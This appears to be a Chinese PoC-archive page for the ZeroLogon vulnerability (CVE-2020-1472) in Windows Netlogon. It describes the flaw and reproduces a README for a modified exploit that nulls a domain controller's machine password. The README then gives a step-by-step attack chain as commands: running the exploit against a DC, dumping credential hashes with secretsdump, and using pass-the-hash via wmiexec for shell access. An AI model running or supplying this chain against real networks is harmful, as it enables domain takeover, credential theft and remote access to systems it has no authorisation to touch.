POC详情: ecb4192cbe3d468d6b6d19d93c84578d4574a7c0

来源
关联漏洞
标题: Microsoft Windows Netlogon 安全特征问题漏洞 (CVE-2020-1472)
描述:Microsoft Windows Netlogon是美国微软(Microsoft)公司的Windows的一个重要组件,主要功能是用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。 Microsoft Windows Netlogon 存在安全漏洞。攻击者可以使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器的易受攻击的 Netlogon 安全通道连接并进行特权提升。
描述
Modified the test PoC from Secura, CVE-2020-1472, to change the machine password to null
介绍
# ZeroLogon - Exploit and Example
Modified the test PoC from [Secura](https://github.com/SecuraBV/CVE-2020-1472/blob/master/zerologon_tester.py), CVE-2020-1472, in order to change the machine's password to null.
Changing the password on the machine uses [Microsoft's NetrServerPasswordSet2()](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81) function.  This exploit takes advantage of [Impacket's nrpc.py](https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py) module to call NetrServerPasswordSet2(). 

## Run the exploit
`./zerologon_NULLPASS.py <dc-name> <dc-ip>`
![](https://i.imgur.com/R4Jui6O.png)

## Dump the hashes
`secretsdump.py -no-pass <dc-name>\$@<dc-ip>`
![](https://i.imgur.com/7GaZ9NY.png)

## Pass-The-Hash for shell access
`wmiexec.py -hashes <LM:NT> <username>@<ip>`
![](https://i.imgur.com/NCFVJ1o.png)
文件快照

[4.0K] /data/pocs/ecb4192cbe3d468d6b6d19d93c84578d4574a7c0 ├── [ 910] README.md └── [5.3K] zerologon_NULLPASS.py 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。